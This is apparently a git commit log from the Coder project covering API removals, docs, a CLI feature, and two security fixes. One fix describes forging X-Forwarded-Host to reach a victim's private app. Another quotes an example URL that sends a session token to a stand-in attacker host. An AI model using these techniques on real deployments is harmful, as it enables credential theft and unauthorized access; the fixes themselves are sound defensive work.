refactor!: remove interceptions API, request logs view, and associated code (#26213)
## Summary Removes the deprecated `/api/v2/aibridge/interceptions` endpoint and the Request Logs frontend page, both replaced by the session-based view. Closes https://linear.app/codercom/issue/AIGOV-266 Closes https://linear.app/codercom/issue/AIGOV-324 ## Changes ### Backend - Remove `GET /api/v2/aibridge/interceptions` HTTP handler and route - Remove SDK types and client method (`AIBridgeInterception`, `AIBridgeTokenUsage`, `AIBridgeUserPrompt`, `AIBridgeToolUsage`, `AIBridgeListInterceptionsResponse`, `AIBridgeListInterceptionsFilter`) - Remove SQL queries `CountAIBridgeInterceptions` and `ListAIBridgeInterceptions` - Remove `searchquery.AIBridgeInterceptions` parser - Remove dbauthz wrappers, in-memory implementations, metrics, and mocks for the interceptions list queries - Remove the `coder aibridge interceptions list` CLI command and golden files - Regenerate API docs, swagger, mocks, and metrics The `/models`, `/clients`, and `/sessions` endpoints stay; the sessions list page still consumes all three. ### Frontend - Delete the entire `RequestLogsPage/` directory (page, view, row, filter, stories, tests) - Remove the `/aibridge/request-logs` route and its lazy import - Remove the `getAIBridgeInterceptions` API method, `paginatedInterceptions` query, and mock interception entities - `git mv` the shared filter and icon components used by the sessions pages: - `RequestLogsPage/RequestLogsFilter/{Client,Model,Provider}Filter.tsx` → `AIBridgePage/filters/` - `RequestLogsPage/icons/AIBridge{Client,Model,Provider}Icon.tsx` → `AIBridgePage/icons/` - Drop the `getProviderIconName` hack and the duplicate `anthropic-neue` icon case now that the FIXME no longer applies ## Commits 1. `refactor: remove interceptions API and request logs view` — the bulk removal, with explicit renames for the shared filter/icon files. 2. `refactor(site/src/pages/AIBridgePage): drop getProviderIconName hack` — cleanup of the FIXME that depended on RequestLogsPage existing. > [!NOTE] > Generated by Coder Agents on behalf of @dannykopping |
||
|
|
b5ef700dd6 |
fix!: only trust x-forwarded-host from configured trusted proxies (#26204)
Subdomain app routing derived the app identity from httpapi.RequestHost, which returned the client-supplied X-Forwarded-Host header verbatim. No middleware validated or stripped that header, so a request from an untrusted peer could forge it. Since the application_connect cookie is scoped to the wildcard apps domain, JavaScript in a share=authenticated app could fetch() with a forged X-Forwarded-Host pointing at a victim's owner-only app; coderd routed and authorized the request as the victim and returned the private app response same-origin to the attacker. Replace RequestHost with httpmw.EffectiveHost, which honors X-Forwarded-Host only when the original socket peer is a configured trusted origin, otherwise falling back to the received Host header. This ties host trust to the same RealIPConfig model already used for X-Forwarded-For and -Proto. Wire it into HandleSubdomain for both coderd and wsproxy, and log both the effective host and the raw received_host. Add coverage: EffectiveHost unit tests assert the trust decision uses the socket peer rather than the spoofable forwarded client IP, and a HandleSubdomain test confirms a forged X-Forwarded-Host from an untrusted peer never reaches token resolution. Refs: https://linear.app/codercom/issue/PLAT-259 |
||
|
|
c883db9ee4 |
docs: document VS Code local telemetry (#26215)
Document local telemetry behavior, diagnostics commands, support bundle contents, and the VS Code telemetry event reference. |
||
|
|
9b550cbfe9 |
fix: prevent session token exfiltration via external app URLs (#26146)
`coder open app` substituted the user's session token into any external workspace-app URL containing `$SESSION_TOKEN` before opening, letting a malicious sub-agent exfiltrate the token via a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain `$SESSION_TOKEN` are printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected. |
||
|
|
78a6ec293e |
revert: "fix: avoid an errant license warning banner on new deployments that d…" (#26240)
Reverts coder/coder#26239 We cannot disable a feature which was previously enabled; this is a BC break. This is also using `AIGatewayRoutingEnabled` which will be removed in the next release. |
||
|
|
d0e9c5eda5 |
fix: avoid an errant license warning banner on new deployments that d… (#26239)
Problem: CODER_AI_GATEWAY_ENABLED defaulted to true, which both started the in-memory gateway and enabled the licensed FeatureAIBridge. As a result, deployments that never configured AI Gateway saw a spurious "AI Governance add-on is required" warning whenever they had an older (non-add-on) Premium license, since the feature was enabled-and-entitled by default. Fix: Decouple "external AI Gateway API enabled" from "in-memory daemon running," so the external/licensed surface is off by default while Coder Agents retain access by default. |
||
|
|
77522c3945 |
feat: cli: add support for supplying ephemeral parameters at workspace creation (#26012)
Resolves the issue of `--prompt-ephemeral-parameters` and `--ephemeral-parameter` not being available for use in the `coder create` workspace creation command (they are only available in `coder start` command). Back when they were [added originally](https://github.com/coder/coder/pull/15030) it seems to have been an oversight that they were left out. The problem this solves: ``` coder create --parameter my_ephemeral_parameter=foo error: prepare build: ephemeral parameter "my_ephemeral_parameter" can be used only with --prompt-ephemeral-parameters or --ephemeral-parameter flag ``` ``` coder create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo parsing flags ([create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo]) for "coder create": unknown flag: --ephemeral-parameter ``` Tested on a template with the following: ``` data "coder_parameter" "my_ephemeral_parameter" { name = "my_ephemeral_parameter" type = "bool" description = "true or false?" mutable = true default = false ephemeral = true } resource "coder_env" "debug_ephemeral" { agent_id = coder_agent.main.id name = "EPHEMERAL_TEST" value = data.coder_parameter.my_ephemeral_parameter.value } ``` By running: ``` ➜ coder git:(rowan/coder-create-5495) ✗ go run cmd/coder/main.go create --ephemeral-parameter my_ephemeral_parameter=true > Specify a name for your workspace: ws4 Select a template below to preview the provisioned infrastructure: ? kasmvnc-ubuntu-coder-dev used by 1 active developer Select a preset below: ? Small (2 CPU / 4 GB) .... ... The ws4 workspace has been created at Jun 3 12:36:38! ➜ coder git:(rowan/coder-create-5495) ✗ coder ssh ws4 workspace-ws4-5d6994756f-qlwnl% echo $EPHEMERAL_TEST true workspace-ws4-5d6994756f-qlwnl% exit ``` |